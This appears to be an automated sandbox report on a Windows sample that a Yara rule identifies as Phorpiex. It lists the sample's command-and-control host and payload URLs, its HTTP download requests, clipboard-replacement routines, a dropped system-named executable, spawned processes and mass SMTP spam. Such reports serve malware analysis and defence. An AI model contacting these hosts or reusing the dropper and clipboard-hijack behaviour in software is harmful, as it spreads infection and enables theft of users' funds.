Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 100.91.108.68
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 100.91.108.68
Source: unknown	TCP traffic detected without corresponding DNS query: 100.91.108.68
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 100.91.108.68
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66

Source: sysesvcmw.exe, sysesvcmw.exe, 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmp, newtpp.exe, sysesvcmw.exe.0.dr	String found in binary or memory: http://185.215.113.66/
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000002.00000002.2484732618.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1C:
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1N
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1s
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1w
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2C:
Source: newtpp.exe, sysesvcmw.exe.0.dr	String found in binary or memory: http://185.215.113.66/2u9o0b7n
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/32
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/35
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000070B000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4o
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5C
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5H
Source: sysesvcmw.exe, 00000002.00000002.2486682215.000000000272B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5KK
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5f
Source: 22195367.exe, 22195367.exe, 0000000A.00000002.2486283460.000000000287B000.00000004.00000010.00020000.00000000.sdmp, 22195367.exe, 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmp, 22195367.exe, 0000000A.00000002.2483795891.00000000005BD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/
Source: 22195367.exe, 0000000A.00000002.2486283460.000000000287B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/133.txt
Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/133.txt(N
Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/133.txtnO
Source: 22195367.exe, 0000000A.00000002.2486283460.000000000287B000.00000004.00000010.00020000.00000000.sdmp, 22195367.exe, 0000000A.00000002.2483795891.00000000005BD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/7w
Source: 22195367.exe, 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: http://185.215.113.66/ca/Tmlr23587238582370520837580280357082370572087508273085720375083572803750750
Source: 22195367.exe, 0000000A.00000002.2486283460.000000000287B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/http://185.215.113.66/ca/n.txt
Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/n.txt
Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/n.txt4
Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/ca/n.txtd
Source: 2569813542.exe, 2569813542.exe, 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmp, 2569813542.exe, 00000009.00000002.2486360020.000000000300A000.00000004.00000010.00020000.00000000.sdmp, 2569813542.exe, 00000009.00000002.2484076803.0000000000F3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/
Source: 2569813542.exe, 00000009.00000002.2484609456.0000000001124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/83.txt
Source: 2569813542.exe, 00000009.00000002.2486360020.000000000300A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/83.txtP
Source: 2569813542.exe, 00000009.00000002.2484609456.0000000001124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/83.txtT
Source: 2569813542.exe, 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: http://185.215.113.66/from/Tmlr235872385823705208375802803570823705720875082730857203750835728037507
Source: 2569813542.exe, 00000009.00000002.2486360020.000000000300A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/http://185.215.113.66/from/n.txt
Source: 2569813542.exe, 00000009.00000002.2484609456.0000000001124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/n.txt
Source: sysesvcmw.exe, 00000002.00000002.2486851221.0000000002C70000.00000004.00000020.00020000.00000000.sdmp, 2569813542.exe, 2569813542.exe, 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmp, 2569813542.exe, 00000009.00000000.1493199729.00000000002E4000.00000002.00000001.01000000.00000007.sdmp, 2569813542.exe, 00000009.00000002.2484609456.0000000001124000.00000004.00000020.00020000.00000000.sdmp, 22195367.exe, 22195367.exe, 0000000A.00000002.2484548896.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, 22195367.exe, 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmp, 22195367.exe, 0000000A.00000000.1567375348.0000000000C74000.00000002.00000001.01000000.00000008.sdmp, 2569813542.exe.2.dr, 22195367.exe.2.dr	String found in binary or memory: http://icanhazip.com/
Source: 2569813542.exe, 00000009.00000002.2484609456.0000000001124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/)
Source: sysesvcmw.exe, 00000002.00000002.2486851221.0000000002C70000.00000004.00000020.00020000.00000000.sdmp, 2569813542.exe, 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmp, 2569813542.exe, 00000009.00000000.1493199729.00000000002E4000.00000002.00000001.01000000.00000007.sdmp, 22195367.exe, 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmp, 22195367.exe, 0000000A.00000000.1567375348.0000000000C74000.00000002.00000001.01000000.00000008.sdmp, 2569813542.exe.2.dr, 22195367.exe.2.dr	String found in binary or memory: http://icanhazip.com/.
Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/6JQ)
Source: sysesvcmw.exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sysesvcmw.exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

DNS traffic detected: queries for: yahoo.com

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_0040C260 memset,InternetCrackUrlA,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_0040C260

Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET /from/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /from/83.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.comCookie: __cf_bm=O8ZE0u5Ic0dcq500U34ZUpZeoSloUUBVcoxE3J7_4Uk-1692896595-0-AeMANFRvIOav/0iu3UEPxkAMjrdn05vo57tX4IuUAFZojcE7BIv678xHL0tFSgt9OgUetaCtu5KnIdHBLh8+JMo=
Source: global traffic	HTTP traffic detected: GET /ca/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ca/133.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ca/133.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 24 Aug 2023 11:32:17 GMTIf-None-Match: "64e73fc1-4b00"
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 24 Aug 2023 11:32:17 GMTIf-None-Match: "64e73fc1-4b00"
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to modify clipboard data

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	0_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	2_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	8_2_00403480

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_004041A0 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

0_2_004041A0

Source: C:\Users\user\Desktop\newtpp.exe

0_2_004041A0

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00403480

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: newtpp.exe, type: SAMPLE
Source: Yara match	File source: 2.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.newtpp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.newtpp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1390279916.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1282255477.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1235675253.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: newtpp.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\ sysesvcmw.exe, type: DROPPED

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 321

Source: newtpp.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\newtpp.exe

File created: C:\Windows\ sysesvcmw.exe

Jump to behavior

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00406610	0_2_00406610
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00406639	0_2_00406639
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040ECE8	0_2_0040ECE8
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00403480	0_2_00403480
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00402E90	0_2_00402E90
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00408FA0	0_2_00408FA0
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00406610	2_2_00406610
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00406639	2_2_00406639
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040ECE8	2_2_0040ECE8
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00403480	2_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00402E90	2_2_00402E90
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00408FA0	2_2_00408FA0
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00406610	8_2_00406610
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00406639	8_2_00406639
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040ECE8	8_2_0040ECE8
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00403480	8_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00402E90	8_2_00402E90
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00408FA0	8_2_00408FA0

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040BE60 NtQuerySystemTime,RtlTimeToSecondsSince1980,	0_2_0040BE60
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040EF2D NtQueryVirtualMemory,	0_2_0040EF2D
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040BE60 NtQuerySystemTime,RtlTimeToSecondsSince1980,	2_2_0040BE60
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040EF2D NtQueryVirtualMemory,	2_2_0040EF2D
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040BE60 NtQuerySystemTime,RtlTimeToSecondsSince1980,	8_2_0040BE60
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040EF2D NtQueryVirtualMemory,	8_2_0040EF2D

Source: Joe Sandbox View

Dropped File: C:\Windows\ sysesvcmw.exe D2B6791FB169C2C87D9FBC2846525DBBBECEF3BF112259214B1B4DA907D580EF

Source: newtpp.exe	ReversingLabs: Detection: 86%
Source: newtpp.exe	Virustotal: Detection: 81%

Source: newtpp.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\newtpp.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\newtpp.exe C:\Users\user\Desktop\newtpp.exe
Source: C:\Users\user\Desktop\newtpp.exe	Process created: C:\Windows\ sysesvcmw.exe C:\Windows\ sysesvcmw.exe
Source: unknown	Process created: C:\Windows\ sysesvcmw.exe "C:\Windows\ sysesvcmw.exe"
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\2569813542.exe C:\Users\user\AppData\Local\Temp\2569813542.exe
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\22195367.exe C:\Users\user\AppData\Local\Temp\22195367.exe
Source: C:\Users\user\Desktop\newtpp.exe	Process created: C:\Windows\ sysesvcmw.exe C:\Windows\ sysesvcmw.exe	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\2569813542.exe C:\Users\user\AppData\Local\Temp\2569813542.exe	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	Process created: C:\Users\user\AppData\Local\Temp\22195367.exe C:\Users\user\AppData\Local\Temp\22195367.exe	Jump to behavior

Source: C:\Windows\ sysesvcmw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\InprocServer32

Jump to behavior

Source: C:\Windows\ sysesvcmw.exe

